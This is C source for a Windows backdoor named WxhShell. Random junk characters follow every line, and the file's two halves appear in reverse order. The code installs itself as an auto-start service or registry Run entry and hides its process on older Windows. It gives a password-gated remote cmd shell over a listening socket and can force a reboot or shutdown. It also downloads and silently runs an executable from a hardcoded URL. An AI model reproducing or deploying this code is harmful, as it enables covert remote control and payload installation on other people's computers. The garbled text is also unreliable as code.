    if(Boot(SHUTDOWN)) G|p3NhLgO=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,a$ ?KX  
    else { kUdl2["MZ  
    closesocket(wsh); A!K/92[#@  
    ExitThread(0); Eoj 2l&\  
    } 'Gw;@[  
    break; E/MNz}+  
    } ;,8bb(j  
  // 获取shell l[2 d{r  
  case 's': { `xhiG9mz~  
    CmdShell(wsh); 2nQrCdRC  
    closesocket(wsh); sc2nLyn$  
    ExitThread(0); r*'X]q|L+  
    break; ]J t8]w  
  } 4<['%7U_[  
  // 退出 yvgn}F{}  
  case 'x': { jQKlJi2xu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M# sDPT  
    CloseIt(wsh); "\'g2|A  
    break; ^Fl6-|^~  
    } \qrSJ=}t  
  // 离开 R7L:U+*V"  
  case 'q': { +b7}R7:AFH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8"M*,?.]  
    closesocket(wsh); K$H>/*&'~  
    WSACleanup(); `FP)-^A8  
    exit(1); Qe!Q $  
    break; G n_AXN  
        } da[u@eNrnX  
  } :\*<EIk(  
  } ,6zH;fi  
y=H^U.  
  // 提示信息 GnE%C2L -  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R?Dbv'lp>  
} ~ E) [!y  
  } 0`KB|=>  
G36}4  
  return; U#O 6l-xe]  
} (;V=A4F-D  
*ay>MlcV2=  
// shell模块句柄 ?,J N?  
int CmdShell(SOCKET sock) Dj<]eG]  
{ iI[Z|"a21  
STARTUPINFO si; >@yHa'*9S  
ZeroMemory(&si,sizeof(si)); 3&D;V;ON}_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &=sVq^d@qe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s<I[)FQVr  
PROCESS_INFORMATION ProcessInfo; XIu3n9g^#  
char cmdline[]="cmd"; TU&t 1_6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [mSK!Y@u  
  return 0; jhWNMu  
} i>9/vwe  
9E (VU.  
// 自身启动模式 8 oHyNo  
int StartFromService(void) \(a9rZ9  
{ yqF$J"=|  
typedef struct nb:J"  
{ Ul?Ha{ W  
  DWORD ExitStatus; A2o ;YyF  
  DWORD PebBaseAddress; JM#jg-z,~  
  DWORD AffinityMask; d9XX^nY.  
  DWORD BasePriority; sW~Z?PFP  
  ULONG UniqueProcessId; `eIX*R   
  ULONG InheritedFromUniqueProcessId; :\@WY  
}   PROCESS_BASIC_INFORMATION; f:k3j}&  
w#Y<~W&  
PROCNTQSIP NtQueryInformationProcess; )$/Gh&1G  
2&E1)^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [?<"SJ,`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /3*75  
ny5 = =C{9  
  HANDLE             hProcess; |H.(?!nTb  
  PROCESS_BASIC_INFORMATION pbi; q|,I\H5}  
rO% |PRP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?Uzs^rsb  
  if(NULL == hInst ) return 0; "h/{YjUS  
 J9oGw P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f[n#Eu}   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bA-=au?o5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '#SacJ\L7  
Q{Gi**<  
  if (!NtQueryInformationProcess) return 0; #,O<E@E  
;T}#-`O_Im  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }Po&6^  
  if(!hProcess) return 0; Yn,dM~|Cc  
R/ 7G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "t+VF 4r  
?op6_a-wm  
  CloseHandle(hProcess); hq.z:D  
"v-\nAu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qoBm!|q  
if(hProcess==NULL) return 0; im^G{3z  
m :ROq  
HMODULE hMod; br"p D-}  
char procName[255]; fbS l$jn.  
unsigned long cbNeeded; }-m/ 'Q  
h3issi+N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,cs`6Bd4  
i=%wZHc;  
  CloseHandle(hProcess); .J3lo:  
S @\Pki+n[  
if(strstr(procName,"services")) return 1; // 以服务启动 aWVJx@f  
JBdZ]  
  return 0; // 注册表启动 0@E[IDmp  
} \GeUX <Fl  
-OZRSjmY  
// 主模块 +/q%29-k  
int StartWxhshell(LPSTR lpCmdLine) od |w)?16  
{ &yzC\XdA  
  SOCKET wsl; x~xaE*r  
BOOL val=TRUE; t#kR@t+6$\  
  int port=0;  PA"xb3@I  
  struct sockaddr_in door; 3e"_R  
2RKI M(~  
  if(wscfg.ws_autoins) Install(); U]dz_%CRP  
"])X0z yM  
port=atoi(lpCmdLine); $=n|MbFl  
/Cr0jWu _  
if(port<=0) port=wscfg.ws_port; j_SRCm~:  
h2+vl@X  
  WSADATA data; q>w@W:tZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #rzq9}9tB  
wH[@#UP3l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :{C#<g`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); no+{9Uf  
  door.sin_family = AF_INET; %;9f$:U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !z X`M1J  
  door.sin_port = htons(port); /ocdAW`0  
+Ij>\;vM"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 02&mM% #  
closesocket(wsl); bF:vD&Sf  
return 1; ;}3wT,=sN  
} w :Fes  
qt+vmi+~  
  if(listen(wsl,2) == INVALID_SOCKET) { YMnG-'^Z  
closesocket(wsl); r4jW=?|  
return 1; =PyU9C-@  
} ?3Wh. %n  
  Wxhshell(wsl); -yOrNir}W  
  WSACleanup(); .hlr)gF&)  
'OSZ'F3PV  
return 0; |UM':Ec  
Yd lXMddE  
} {Q^P<  
]*U\ gm%  
// 以NT服务方式启动 DM{ 7x77  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AV AF!Z  
{ q~.\NKc  
DWORD   status = 0; Q4-d2I>0  
  DWORD   specificError = 0xfffffff; qHg\n)R"x!  
T30!'F(*,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "$PbpY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ; P I=jp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /iNCb&[  
  serviceStatus.dwWin32ExitCode     = 0; z?_c:]D  
  serviceStatus.dwServiceSpecificExitCode = 0; (L8H.|.  
  serviceStatus.dwCheckPoint       = 0; W'rft@J$  
  serviceStatus.dwWaitHint       = 0; wH~Q4)#=o  
]q7\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); or\ 2)  
  if (hServiceStatusHandle==0) return; $I~=t{;"XV  
Lp20{R  
status = GetLastError(); ~R7rIP8Wr  
  if (status!=NO_ERROR) Lie\3W  
{ e-H:;m5R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 25*/]i u  
    serviceStatus.dwCheckPoint       = 0; S #%'Vrp  
    serviceStatus.dwWaitHint       = 0; cC1nC76[  
    serviceStatus.dwWin32ExitCode     = status; Qs8iu`'  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5 |{0|mP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3D +>NB  
    return; 6T&6N0y+9  
  } s#?Y^bgH  
#Qc[W +%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f8_5.vlw  
  serviceStatus.dwCheckPoint       = 0; YMad]_XOP  
  serviceStatus.dwWaitHint       = 0; )!hDF9O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d4/snvq  
} yC4JYF]JN  
3>yb$ZU"-  
// 处理NT服务事件,比如:启动、停止 fyT:I6*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *-T3'beg  
{ ()v[@"J  
switch(fdwControl) {%^q8l4j  
{ gCz^JM  
case SERVICE_CONTROL_STOP: ~HI|t2C  
  serviceStatus.dwWin32ExitCode = 0; {>fvyF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IfeG"ua|  
  serviceStatus.dwCheckPoint   = 0;  .VuZ=  
  serviceStatus.dwWaitHint     = 0; (A\qZtnyl  
  { 8},!t\j#]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SC74r?N FA  
  } Z%6I$KAN8  
  return; k# ZO4  
case SERVICE_CONTROL_PAUSE: -o6K_R}R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h|mh_T{+  
  break; *5sr\b4#S  
case SERVICE_CONTROL_CONTINUE: 1Jc-hrN-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g&O%qX-  
  break; 5R?iTB1,  
case SERVICE_CONTROL_INTERROGATE: G<9MbMG  
  break; FgrOZI;_  
}; 7&/iuP$.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7=u\D  
} LR]P?  
/@lXQM9 T  
// 标准应用程序主函数 GfD!Z3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pY!@w0.  
{ 0^*4LM|z  
j! iimdq  
// 获取操作系统版本 &!2 4l=!  
OsIsNt=GetOsVer(); ae{% * \J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pq#Hca[  
> YKvwbCf8  
  // 从命令行安装 f I`6]?W  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ti#2D3  
,E$^i~OO  
  // 下载执行文件 X_Is#&6;  
if(wscfg.ws_downexe) { &48wa^d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x,@cU}D  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jj*XnL*  
} ,;y 5Mu8  
hZVF72D26  
if(!OsIsNt) { vi["G7  
// 如果时win9x,隐藏进程并且设置为注册表启动 .AH#D}m  
HideProc(); ;t:B:4r(j  
StartWxhshell(lpCmdLine); "639oB  
} ?lnX."eAdB  
else us"SM\X#  
  if(StartFromService()) uNxR#S  
  // 以服务方式启动 xV}E3Yj2#  
  StartServiceCtrlDispatcher(DispatchTable); !3v!BJ#+,&  
else }?$d~]t)  
  // 普通方式启动 .8uJ%'$)  
  StartWxhshell(lpCmdLine); qS*qHT(u19  
9(QY~F  
return 0; \'&:6\-fw  
} R#`hT  
q%bNT  
L:IaJ?+?  
~4.Tq{  
=========================================== <QQgOaS`2  
ea3AcT6  
H\W60|z9  
^j[>.D  
*$Aneq0f  
xv]P-q0  
" ':R)i.TS  
iSUn}%YFz!  
#include <stdio.h> /PE3>"|wE  
#include <string.h> o_t2 Z  
#include <windows.h> Q 6{2@  
#include <winsock2.h> {UQpD   
#include <winsvc.h> 6P;IKOv^  
#include <urlmon.h> wWko9h=|mQ  
3cBuqQ  
#pragma comment (lib, "Ws2_32.lib") 3:&!Q*i;  
#pragma comment (lib, "urlmon.lib") -8HIsRh  
l"*qj#FD  
#define MAX_USER   100 // 最大客户端连接数 ;VSHXU'H  
#define BUF_SOCK   200 // sock buffer z|=l^u6uS  
#define KEY_BUFF   255 // 输入 buffer >7!4o9)c  
B%6>2S=E  
#define REBOOT     0   // 重启 1 ?]Gl+}  
#define SHUTDOWN   1   // 关机 w{?nX6a@p  
Jt43+]  
#define DEF_PORT   5000 // 监听端口 HB\<nK  
ELk$ lm&@  
#define REG_LEN     16   // 注册表键长度 {oy(08 `6  
#define SVC_LEN     80   // NT服务名长度 yyPkjUy[  
q@~N?$>  
// 从dll定义API -A(] ",*J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1 9$ufod  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); puG$\D-[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^6Q(he  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /FJAI  
KXL]Qw FN  
// wxhshell配置信息 #*BcO-N  
struct WSCFG { QKL5! L9`  
  int ws_port;         // 监听端口 J Xo_l  
  char ws_passstr[REG_LEN]; // 口令 $2A%y14  
  int ws_autoins;       // 安装标记, 1=yes 0=no HTao)`.  
  char ws_regname[REG_LEN]; // 注册表键名 @ eqVu g  
  char ws_svcname[REG_LEN]; // 服务名 Us+|L|/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rV<yM$IA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2P`hdg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bU/5ug.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;eI,1 [_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K 4j'e6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bmr.EB/  
L7el5Q!Y=  
}; U;Se'*5xv  
HDvj{  
// default Wxhshell configuration pa N )t  
struct WSCFG wscfg={DEF_PORT, 1Cki}$k@  
    "xuhuanlingzhe", ]sE~gro  
    1, (NyS2 `  
    "Wxhshell", , ?WTX  
    "Wxhshell", Z Mids"Xdf  
            "WxhShell Service", DPw"UY:  
    "Wrsky Windows CmdShell Service", w 6+X{  
    "Please Input Your Password: ", \CM/KrCR  
  1, Ytmt+9  
  "http://www.wrsky.com/wxhshell.exe", o/@.*Rj>Bg  
  "Wxhshell.exe" 'b]GcAL  
    }; '*MNRduE6  
 ]hpocr  
// 消息定义模块 3kx/Q#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i=OPl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |!euty ::  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6AKH0t|4  
char *msg_ws_ext="\n\rExit."; u3(zixb  
char *msg_ws_end="\n\rQuit."; Q@6OIE  
char *msg_ws_boot="\n\rReboot..."; G4{ zt3{  
char *msg_ws_poff="\n\rShutdown..."; PCF!Y(l  
char *msg_ws_down="\n\rSave to "; B4bC6$Lg  
*>h"}e41  
char *msg_ws_err="\n\rErr!"; p 2It/O  
char *msg_ws_ok="\n\rOK!"; wqx@/--E(  
8G; t[9  
char ExeFile[MAX_PATH]; ?DzKqsS'  
int nUser = 0; x* *]@v"g  
HANDLE handles[MAX_USER]; cod__.  
int OsIsNt; ~cbq5||  
FU kO$jnO  
SERVICE_STATUS       serviceStatus; OE]z C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !FX0Nx=oi  
7pH(_-TF  
// 函数声明 |&`NB|  
int Install(void); }]$%aMxy T  
int Uninstall(void); AWsO? |YT  
int DownloadFile(char *sURL, SOCKET wsh); qX^#fk7]  
int Boot(int flag); N%v}$58Z  
void HideProc(void); =hxj B*")  
int GetOsVer(void); .xS3,O_[  
int Wxhshell(SOCKET wsl); 0%+S@_|  
void TalkWithClient(void *cs); dnTB$8&  
int CmdShell(SOCKET sock); #56}RV1  
int StartFromService(void); Eq c&iS~  
int StartWxhshell(LPSTR lpCmdLine); TCYjj:/  
-lV]((I&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G7yCGT)vQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lyNa(3  
? acm5dN  
// 数据结构和表定义 _) k=F=  
SERVICE_TABLE_ENTRY DispatchTable[] = 3 GmU$w  
{ [g`9C!P-G  
{wscfg.ws_svcname, NTServiceMain}, e` Z;}& ,  
{NULL, NULL} .I$ Q3%s  
}; )XV|D  
,X25-OFZ  
// 自我安装 ,V'+16xW  
int Install(void) izy7. (.a  
{ Tqz{{]%j~$  
  char svExeFile[MAX_PATH]; :# s 6,  
  HKEY key; bO]^TRaiJ  
  strcpy(svExeFile,ExeFile); !#j y=A  
43-mv1>.  
// 如果是win9x系统,修改注册表设为自启动 PeGA+0bm  
if(!OsIsNt) { 92!1I$zi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wjc1EW!2x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bRT1~)  
  RegCloseKey(key); Cj"+` C)l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [[2Zcz:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n[8ju,=  
  RegCloseKey(key); c,pR+DP  
  return 0; <^q4^Q[  
    } 2 eo]D?}  
  } R_ymTB}<t(  
} ^ cpQ*Fz  
else { s kC*  
#Jp_y|  
// 如果是NT以上系统,安装为系统服务 !2R~/Rg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ss6mN;&D  
if (schSCManager!=0) ;U=IbK*  
{ yqR2^wZ%r  
  SC_HANDLE schService = CreateService c]LE9<G  
  ( <wWZ]P 2]  
  schSCManager, qp3J/(F  
  wscfg.ws_svcname, 1Z%^U ?  
  wscfg.ws_svcdisp, B64L>7\>`  
  SERVICE_ALL_ACCESS, ,<R/jHZP9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0NrUB  
  SERVICE_AUTO_START, C1&~Y.6m  
  SERVICE_ERROR_NORMAL, DuX7  
  svExeFile, {`?C5<r  
  NULL, *'4+kj7>  
  NULL, %EkV-%o*  
  NULL, pxP,cS  
  NULL, ]D_"tQ?i  
  NULL qn) VKx=  
  ); |s[kY  
  if (schService!=0) 2yZ/'}Mw  
  { h&@ A'om~  
  CloseServiceHandle(schService); ZGO% lkZ.  
  CloseServiceHandle(schSCManager); 0?OTa<c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $I*ye+a*{q  
  strcat(svExeFile,wscfg.ws_svcname); :cU6W2EV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I/4:SNha  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "2} {lu  
  RegCloseKey(key); <%w)EQf4m  
  return 0; qd$Y"~Mco  
    } [Q+8Ku  
  } iR} 3 [  
  CloseServiceHandle(schSCManager); _`3'D`s  
} }dcXuX4{r  
}  Age  
XTboFrf  
return 1; E_sKDybj  
} 7|Z=#3INw  
_+Tq&,_:o  
// 自我卸载 ^ [FK<9  
int Uninstall(void) lh^-L+G:Ok  
{ L3}n(K AJj  
  HKEY key; 8T"C]  
~nYp*t C'  
if(!OsIsNt) { BkywYCWZ )  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |dNJx<-  
  RegDeleteValue(key,wscfg.ws_regname); PNy)TqdRS  
  RegCloseKey(key); ,@I_b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B-'oB>|  
  RegDeleteValue(key,wscfg.ws_regname); (=#[om( A  
  RegCloseKey(key); u\-WArntc  
  return 0; $Ro]]NUz|  
  } Mn$w_Z?  
} K+2k}Hx6J  
} R\DdU-k  
else { J)(KGdk  
3"v k$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;Q*=AW  
if (schSCManager!=0) ]`@= ;w  
{ c%|K x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Jv_KZDOdk  
  if (schService!=0) 'Mp8!9=&  
  { st~ 1[in  
  if(DeleteService(schService)!=0) { F3d: W:^_  
  CloseServiceHandle(schService); Y2lBQp8'|  
  CloseServiceHandle(schSCManager); +,oEcCi  
  return 0; wxC&KrRF  
  } BpL7s ej7  
  CloseServiceHandle(schService); ^G :}%4  
  } j}P xq  
  CloseServiceHandle(schSCManager); )v\zaz  
} M"XILNV-~  
} poLzgd  
G@$Y6To[  
return 1; bogw/)1  
} ,Sz`$'^c  
\tv^],^`  
// 从指定url下载文件 tc-pVw:TV  
int DownloadFile(char *sURL, SOCKET wsh) t<8vgdD  
{ Oz8"s4Y7  
  HRESULT hr; Z8vMVo  
char seps[]= "/"; Ug :3)q[O  
char *token; _FpZc ?=  
char *file; jhRg47A  
char myURL[MAX_PATH]; R#"LP7\  
char myFILE[MAX_PATH]; <4lR  
B=<>OYH  
strcpy(myURL,sURL); y $i^C:N  
  token=strtok(myURL,seps); 0)<\jo1 F  
  while(token!=NULL) `O5 Hzb(}  
  { p2m@0ou  
    file=token; 7TDt2:;]  
  token=strtok(NULL,seps); R'Gka1v  
  } ,<Ag&*YE4  
F7fpsAt7  
GetCurrentDirectory(MAX_PATH,myFILE); %E<.\\^%  
strcat(myFILE, "\\"); U%.%:'eV=  
strcat(myFILE, file); g+( Cs  
  send(wsh,myFILE,strlen(myFILE),0); [p&n]T  
send(wsh,"...",3,0); g5",jTn#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z<_"Tk;!',  
  if(hr==S_OK) ,K/l;M5I  
return 0; XK*55W &og  
else dUt$kB  
return 1; rC !!X  
4lM)ZDg  
} .qd/ft2  
qS8p)pw  
// 系统电源模块 t(~V:+W9  
int Boot(int flag) ot%^FvQ[c  
{ 9_=0:GH k  
  HANDLE hToken; aNt+;M7g`  
  TOKEN_PRIVILEGES tkp; 4*`AYx(  
cj[a^ ZH  
  if(OsIsNt) { EN,PI~~F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c >O>|*I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iX&eQ{LB  
    tkp.PrivilegeCount = 1; g4eEkG`XTS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5{zmuv:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J\@ r ~x5G  
if(flag==REBOOT) { ,0hk)Vvr3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _DDknQP  
  return 0; xX !`0T7Y  
} z_i (o  
else { kv!QO^;^Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w"PnN  
  return 0; f6of8BOg  
} ~nP~6Q'wSH  
  } @PQ% xcOC7  
  else { l+ ,p=  
if(flag==REBOOT) { Ux/|D_rlf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lmGVSdo   
  return 0; AfAlDM'  
} h0cdRi  
else { Vx Vpl@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (^{tu89ab  
  return 0; '3i,^g0?t0  
} ]2_b_ok  
} bHKTCPf  
S3?Bl'  
return 1; U}yq*$N  
} e7_.Xr~[  
u# TNW.  
// win9x进程隐藏模块 ^@V; `jsll  
void HideProc(void) -$ VP#%  
{ CD! Aa  
[ pe{,lp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7^oO N+=d  
  if ( hKernel != NULL ) |#b]e|aP  
  { +nIjW;RU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mi';96  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LJ8 t@ui  
    FreeLibrary(hKernel); gh?3[q6  
  } Nc da~h Q  
; _K3/:  
return; XfYbWR  
} MwuRxeRO-  
mfW}^mu  
// 获取操作系统版本 q+Ec|Xd e  
int GetOsVer(void) b)[2t^zG  
{ mG*ER^Y@D  
  OSVERSIONINFO winfo; t?aOZps  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s+-V^{Ht  
  GetVersionEx(&winfo); {i^F4A@=Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {V^|9j:\K  
  return 1; G`e!WvC  
  else R<<U(.E  
  return 0; \[J\I  
} cr`NHl/XF  
p9y@5z  
// 客户端句柄模块 6/3oW}O o  
int Wxhshell(SOCKET wsl) W]W[oTJ5  
{ A"}Ib'  
  SOCKET wsh; ?on EqH>  
  struct sockaddr_in client; 5$?)f&M  
  DWORD myID; rJM/.;Ag  
;Tec)Fl  
  while(nUser<MAX_USER) e~ZxDAd  
{ t?(fDWd|-  
  int nSize=sizeof(client); "?M)2,:A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )Tl]1^  
  if(wsh==INVALID_SOCKET) return 1; 9*2Q'z}_  
] :SbvsPm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]:r(U5 #  
if(handles[nUser]==0) V q[4RAd^P  
  closesocket(wsh); *}'3|e4w}  
else S]Qf p,  
  nUser++; UrmnHc>}c  
  } S8,e `F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pSl4^$2XR  
8~}~ d}wW  
  return 0; }rQ0*h  
} JKF/z@Vbe\  
"!9FJ Y  
// 关闭 socket U1)!X@F{  
void CloseIt(SOCKET wsh) =&"a:l  
{ ,ll<0Atg  
closesocket(wsh); @b9qBJfQ  
nUser--; 7NMy1'-q  
ExitThread(0); }3/|;0j$  
} 6n:oEXM>  
WjsmLb:5  
// 客户端请求句柄 }F';"ybrU)  
void TalkWithClient(void *cs) 9]^q!~u  
{ emMk*l,  
lyzM?lK-  
  SOCKET wsh=(SOCKET)cs; .3CQFbHF  
  char pwd[SVC_LEN]; `$Y%c1;  
  char cmd[KEY_BUFF]; <64#J9T^  
char chr[1]; _&RGhA  
int i,j; fP/;t61Z  
;3\'}2^|l  
  while (nUser < MAX_USER) { 8xt8kf*k  
4jw q$G  
if(wscfg.ws_passstr) { _/NPXDL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c{3P|O&.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U.Fs9F4M#  
  //ZeroMemory(pwd,KEY_BUFF); F*J bTEOn  
      i=0; jGUegeq  
  while(i<SVC_LEN) { b=kY9!GN,v  
L>n^Q:M  
  // 设置超时 %F87"v~  
  fd_set FdRead; xQ! Va  
  struct timeval TimeOut; IqFmJs|C  
  FD_ZERO(&FdRead); @GWlo\rM6^  
  FD_SET(wsh,&FdRead); TPA*z9n+B  
  TimeOut.tv_sec=8; [M2xF<r6t  
  TimeOut.tv_usec=0; |F +n7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _LFABG=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i8!err._  
XZ"oOE0=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >?jmeD3u  
  pwd=chr[0]; D^S"6v" z  
  if(chr[0]==0xd || chr[0]==0xa) { (@NW2  
  pwd=0; e\._M$l  
  break; K_fJ{Vc>O  
  } Flaqgi/j  
  i++; \rY\wa  
    } 2S//5@~_m  
sWKv> bx  
  // 如果是非法用户,关闭 socket kbSl.V%)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n] 8*yoge  
} {S`Rr/E|%  
5`QfysR5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kyf(V)APPu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x@*?~1ai  
zp\_5[qJ;  
while(1) { Pf~0JNnc  
*G[` T%g  
  ZeroMemory(cmd,KEY_BUFF); Mehp]5*  
*i"Mu00b  
      // 自动支持客户端 telnet标准   p\}!uS4 (  
  j=0; l-2lb&n  
  while(j<KEY_BUFF) { #!>`$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0x # V   
  cmd[j]=chr[0]; s >k4G  
  if(chr[0]==0xa || chr[0]==0xd) { %reW/;)l{  
  cmd[j]=0; ~FVbL-2  
  break; L+G i  
  } ; hU9_e  
  j++; CoV @{Pi  
    } cqp^**s  
C't%e  
  // 下载文件 6n/KL  
  if(strstr(cmd,"http://")) { rS0#]Gg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hp@cBj_@P2  
  if(DownloadFile(cmd,wsh)) *fSX3Dk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` (]mUW  
  else @ev^e !B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PiLLUyQx  
  } /U>8vV+C  
  else { y2PxC. -  
&zPM# Q  
